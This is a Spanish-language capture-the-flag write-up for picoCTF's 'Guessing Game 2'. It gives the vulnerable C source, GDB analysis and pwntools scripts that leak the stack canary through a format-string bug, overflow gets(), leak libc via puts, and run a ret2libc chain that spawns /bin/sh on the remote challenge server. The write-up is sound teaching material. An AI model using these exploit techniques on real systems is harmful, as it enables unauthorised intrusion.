Guessing Game 2
11 minutos de lectura
Se nos proporciona un binario de 32 bits llamado vuln
:
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Análisis de código estático
Tenemos también el código fuente en C. Básicamente, lo que hace el programa es pedir un número, compararlo con otro aleatorio y si es el mismo, solicitar un nombre para mostrar un mensaje:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
El código es muy similar al que aparece en el reto Guessing Game 1 (se aconseja mirarlo antes de continuar).
Adivinando el número
La función get_random
es algo diferente. Ahora toma un valor fijo, pero no sabemos cuál es aún. Sin embargo, podemos verlo en GDB:
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ disassemble do_stuff
Dump of assembler code for function do_stuff:
...
0x080486e9 <+138>: call 0x80484e0 <atol@plt>
0x080486ee <+143>: add esp,0x10
0x080486f1 <+146>: mov DWORD PTR [ebp-0x210],eax
0x080486f7 <+152>: cmp DWORD PTR [ebp-0x210],0x0
0x080486fe <+159>: jne 0x8048714 <do_stuff+181>
0x08048700 <+161>: sub esp,0xc
0x08048703 <+164>: lea eax,[ebx-0x1657]
0x08048709 <+170>: push eax
0x0804870a <+171>: call 0x80484c0 <puts@plt>
0x0804870f <+176>: add esp,0x10
0x08048712 <+179>: jmp 0x8048752 <do_stuff+243>
0x08048714 <+181>: mov eax,DWORD PTR [ebp-0x210]
0x0804871a <+187>: cmp eax,DWORD PTR [ebp-0x214]
0x08048720 <+193>: jne 0x8048740 <do_stuff+225>
...
End of assembler dump.
La comparación se encuentra en la dirección 0x0804871a
, donde se compara $eax
con el valor almacenado en $ebp - 0x214
. Ponemos un breakpoint aquí y ejecutamos el programa:
gef➤ break *0x0804871a
Breakpoint 1 at 0x804871a
gef➤ run
Starting program: ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
1
Breakpoint 1, 0x0804871a in do_stuff ()
Perfecto, ahora podemos visualizar el contenido de la dirección $ebp - 0x214
:
gef➤ x $ebp-0x214
0xffffd5f4: 0xfffff2a1
Aquí tenemos que darnos cuenta de que 0xfffff2a1
es un número negativo, ya que el bit más significativo es 1. Por tanto, necesitamos calcular el complemento a dos (negar el número y sumarle 1), que es -3423:
number = - ((~0xfffff2a1 & 0xffffffff) + 1) # -3423
Y podemos probarlo:
$ ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-3423
Congrats! You win! Your prize is this print statement!
New winner!
Name?
Ahora llegamos a la función win
:
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
Vulnerabilidades
Esta vez tenemos una llamada a gets
(que es vulnerable a Buffer Overflow), y también una vulnerabilidad de Format String, ya que la variable winner
se inserta como primer argumento en printf
.
Básicamente, podemos extraer valores de la pila (stack):
$ ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-3423
Congrats! You win! Your prize is this print statement!
New winner!
Name? %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
Congrats: 200.f7fae580.804877d.1.fffff2a1.fffff2a1.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.f7ff7500.
What number would you like to guess?
La vulnerabilidad de Format String será útil para obtener el valor del stack canary (esta vez sí que hay un stack canary, no como en el reto Guessing Game 1). Para explotar el Buffer Overflow con gets
necesitamos añadir el valor del canario antes de $eip
para burlar la protección (si no, el canario se verá modificado y el programa terminará).
Utilicemos un script en Python para adivinar la posición del canario en la pila. La idea es extraer posiciones de la pila hasta que encontremos un valor que tenga la apariencia de un stack canary (termina en byte nulo, 00
en hexadecimal):
#!/usr/bin/env python3
from pwn import *
elf = ELF('vuln', checksec=False)
context.binary = elf
number = -3423 # - ((~0xfffff2a1 & 0xffffffff) + 1)
log.success(f'Guessed number: {number}')
p = process(elf.path)
def dump(n: int) -> str:
p.sendlineafter(b'What number would you like to guess?\n', str(number).encode())
p.sendlineafter(b'Name? ', f'%{n}$x'.encode())
res = p.recvline().decode().strip()
res = res.lstrip('Congrats: ')
return res
for i in range(200):
res = dump(i)
if res.endswith('00'):
print(i, dump(i))
p.close()
Básicamente estamos extrayendo valores en una determinada posición utilizando formatos como %1$x
, %2$x
, %3$x
, etc. Si probamos con las primeras 200 posiciones y seleccionamos los candidatos a canary
(los que terminan en 00
), tenemos que el canario está probablemente en la posición 119 (y también en la 135):
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 64957
1 200
23 f7f22100
31 f7f55000
95 f7f0c000
119 b45b6d00
124 f7f0c000
125 f7f0c000
132 f7f0c000
133 f7f0c000
135 b45b6d00
148 f7f0c000
149 f7f0c000
156 f7f0c000
157 f7f55000
162 f7f0c000
163 f7f0c000
184 8048900
[*] Stopped process './vuln' (pid 64957)
Comprobemos el valor con GDB:
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ break main
Breakpoint 1 at 0x804880e
gef➤ run
Starting program: ./vuln
Breakpoint 1, 0x804880e in main ()
gef➤ canary
[+] Found AT_RANDOM at 0xffffda2b, reading 4 bytes
[+] The canary of process 71318 is 0x3ce1fa00
gef➤ continue
Continuing.
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-3423
Congrats! You win! Your prize is this print statement!
New winner!
Name? %119$x
Congrats: 3ce1fa00
What number would you like to guess?
Desarrollo del exploit
Todo bien, ahora podemos comenzar a explotar el Buffer Overflow. Primero de todo, necesitamos obtener el número de bytes necesario para sobresceibir $eip
. Esto se puede hacer de varias formas porque tenemos un stack canary. Por el momento, vamos a mandar payloads y aumentar su tamaño hasta que el proceso termine:
canary_position = 119
canary = int(dump(canary_position), 16)
log.success(f'Leaked canary: {hex(canary)}')
def send_payload(payload: bytes) -> bytes:
p.sendlineafter(b'What number would you like to guess?\n', str(number).encode())
p.sendlineafter(b'Name? ', payload)
return p.recvline()
for i in range(250):
try:
send_payload(b'A' * 4 * i)
except EOFError:
log.info(f'Stack smashing detected with {4 * i - 4} bytes')
break
p.close()
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 83225
[+] Leaked canary: 0x330c2500
[*] Stack smashing detected with 516 bytes
[*] Process './vuln' stopped with exit code -6 (SIGABRT) (pid 83225)
Entonces, se detecta el stack smashing al enviar 516 bytes. Por tanto, necesitamos 512 bytes para llegar al stack canary.
Nótese que se detecta el stack smashing en la iteración previa a la que da EOFError
(que significa que el proceso ya no está vivo).
Ahora, podemos añadir el canario en el payload y enviar un patrón mediante cyclic
de pwntools
. Después, podemos adjuntar GDB al proceso y calcular el offset hasta $eip
:
def send_payload(payload: bytes) -> bytes:
p.sendlineafter(b'What number would you like to guess?\n', str(number).encode())
p.sendlineafter(b'Name? ', payload)
return p.recvline()
offset = 512
junk = b'A' * offset
payload = junk
payload += p32(canary)
payload += cyclic(500)
gdb.attach(p, gdbscript='continue')
send_payload(payload)
p.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x61616164 in ?? ()
El registro $eip
se sobrescribe con 0x61616164
(daaa
), que resulta en un offset de 12:
$ pwn cyclic -l 0x61616164
12
Ahora, necesitamos crear una ROP chain para efectuar un ret2libc, ya que el binario está enlazado dinámicamente:
$ ldd vuln
linux-gate.so.1 (0xf7efb000)
libc.so.6 => /lib32/libc.so.6 (0xf7cf9000)
/lib/ld-linux.so.2 (0xf7efd000)
Fugando direcciones de memoria
Como no sabemos la versión de Glibc de la instancia remota, debemos fugar una dirección de una función de Glibc para buscar su offset en una base de datos de Glibc.
Para realizar la fuga (leak), podemos llamar a puts
en la PLT y fugar el contenido de una dirección de la GOT, por ejemplo la misma función puts
. La dirección de retorno será la dirección de win
.
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ p puts
$1 = {<text variable, no debug info>} 0x80484c0 <puts@plt>
gef➤ p win
$1 = {<text variable, no debug info>} 0x804876e <win>
gef➤ quit
$ readelf -a vuln | grep puts
08049fdc 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
6: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
55: 00000000 0 FUNC GLOBAL DEFAULT UND puts@@GLIBC_2.0
Por tanto, la ROP chain es:
offset_to_canary = 512
offset_to_eip = 12
junk_to_canary = b'A' * offset_to_canary
junk_to_eip = b'A' * offset_to_eip
payload = junk_to_canary
payload += p32(canary)
payload += junk_to_eip
win_addr = 0x0804876e
puts_plt = 0x080484c0
puts_got = 0x08049fdc
payload += p32(puts_plt)
payload += p32(win_addr)
payload += p32(puts_got)
send_payload(payload)
Después, lo que recibiremos será la dirección real de puts
en Glibc (que tiene 4 bytes de longitud):
p.recvline()
puts_addr = u32(p.recvline()[:4].ljust(4, b'\0'))
log.success(f'Leaked puts() address: {hex(puts_addr)}')
Hemos fugado este valor:
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 148404
[+] Leaked canary: 0x3463de00
[+] Leaked puts() address: 0xf7d73290
[*] Switching to interactive mode
New winner!
Name? $
Nótese también que se ha llamado a win
correctamente. Para comprobar que la dirección fugada es correcta, podemos obtener el offset de puts
en Glibc (la local, más tarde para la instancia remota):
$ readelf -s /lib32/libc.so.6 | grep puts
215: 00071290 531 FUNC GLOBAL DEFAULT 16 _IO_puts@@GLIBC_2.0
461: 00071290 531 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.0
540: 0010c050 1240 FUNC GLOBAL DEFAULT 16 putspent@@GLIBC_2.0
737: 0010dc90 742 FUNC GLOBAL DEFAULT 16 putsgent@@GLIBC_2.10
1244: 0006fa20 381 FUNC WEAK DEFAULT 16 fputs@@GLIBC_2.0
1831: 0006fa20 381 FUNC GLOBAL DEFAULT 16 _IO_fputs@@GLIBC_2.0
2507: 0007ac20 191 FUNC WEAK DEFAULT 16 fputs_unlocked@@GLIBC_2.1
El offset es 0x71290
, y la dirección fugada es 0xf7d73290
. Ambos números terminan en 290
en hexadecimal, por lo que todo está bien. La dirección base de Glibc es aleatoria debido a ASLR, pero sabemos que esta dirección terminará en 000
en hexadecimal, por lo que la dirección real de puts
terminará con los tres últimos dígitos hexadecimales de su offset (290
).
Para calcular la dirección base de Glibc, podemos realizar una simple resta:
p.recvline()
puts_addr = u32(p.recvline()[:4].ljust(4, b'\0'))
log.success(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x71290
glibc_base_addr = puts_addr - puts_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 154121
[+] Leaked canary: 0xf0f7ba00
[+] Leaked puts() address: 0xf7d9d290
[+] Glibc base address: 0xf7d2c000
[*] Switching to interactive mode
New winner!
Name? $
Ataque ret2libc
Ahora podemos efectuar el ret2libc. Básicamente, tenemos que llamar a system
en Glibc y utilizar "/bin/sh"
como argumento. La cadena "/bin/sh"
también se encuentra en Glibc:
$ readelf -s /lib32/libc.so.6 | grep system
258: 00137810 106 FUNC GLOBAL DEFAULT 16 svcerr_systemerr@@GLIBC_2.0
662: 00045420 63 FUNC GLOBAL DEFAULT 16 __libc_system@@GLIBC_PRIVATE
1534: 00045420 63 FUNC WEAK DEFAULT 16 system@@GLIBC_2.0
$ strings -atx /lib32/libc.so.6 | grep /bin/sh
18f352 /bin/sh
Esta es la segunda ROP chain:
payload = junk_to_canary
payload += p32(canary)
payload += junk_to_eip
system_offset = 0x45420
bin_sh_offset = 0x18f352
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload += p32(system_addr)
payload += p32(win_addr)
payload += p32(bin_sh_addr)
p.sendlineafter(b'Name? ', payload)
p.recvline()
p.recvline()
p.interactive()
Y si todo es correcto, deberíamos tener una consola interactiva:
$ python3 solve.py
[+] Guessed number: -3423
[+] Starting local process './vuln': pid 159500
[+] Leaked canary: 0x7baaa300
[+] Leaked puts() address: 0xf7d8b290
[+] Glibc base address: 0xf7d1a000
[*] Switching to interactive mode
$ ls
Makefile solve.py vuln vuln.c
Exploit remoto
Ahora es el momento de obtener la versión de Glibc en la instancia remota.
Lo primero que notamos es que el número -3423 no es correcto para la instancia remota. Por tanto, tenemos que realizar un ataque de fuerza bruta, ya que no podemos extraerlo:
number = 0
number_progress = log.progress('Guessed number')
for i in range(-4096, 4095):
number_progress.status(str(i))
with context.local(log_level='CRITICAL'):
p = get_process()
p.sendlineafter(b'What number would you like to guess?\n', str(i).encode())
if b'Congrats!' in p.recvline():
number = i
number_progress.success(str(number))
break
p.close()
$ python3 solve.py jupiter.challenges.picoctf.org 15815
[|] Guessing number: -3983
[+] Guessed number: -3983
Genial, es -3983 para la instancia remota. Ahora lanzamos el exploit:
$ python3 solve.py jupiter.challenges.picoctf.org 15815
[+] Guessed number: -3983
[+] Opening connection to jupiter.challenges.picoctf.org on port 15815: Done
[+] Leaked canary: 0xf2d4c600
[+] Leaked puts() address: 0xf7e10460
[+] Glibc base address: 0xf7d9f1d0
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
Evidentemente, no va a funcionar porque la versión de Glibc no es la misma que tenemos en local. Sin embargo, podemos utilizar una base de datos de Glibc donde buscamos por los tres últimos dígitos de la dirección de puts
(en este caso, 460
):
Vemos que el offset de puts
es 0x071460
, el offset de system
es 0x045350
y el offset de "/bin/sh"
es 0x19032b
. Si actualizamos estos valores en el exploit, vemos que aún no conseguimos una consola interactiva. podemos probar más versiones de Glibc hasta encontrar la correcta:
- Offset de
puts
:0x067460
- Offset de
system
:0x03ce10
- Offset de
"/bin/sh"
:0x17b88f
Flag
Y finalmente, el exploit funciona en remoto:
$ python3 solve.py jupiter.challenges.picoctf.org 15815
[+] Guessed number: -3983
[+] Opening connection to jupiter.challenges.picoctf.org on port 15815: Done
[+] Leaked canary: 0x70b20e00
[+] Leaked puts() address: 0xf7dc9460
[+] Glibc base address: 0xf7d62000
[*] Switching to interactive mode
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{p0p_r0p_4nd_dr0p_1t_506b81e98597929e}
El exploit completo se puede encontrar aquí: solve.py
.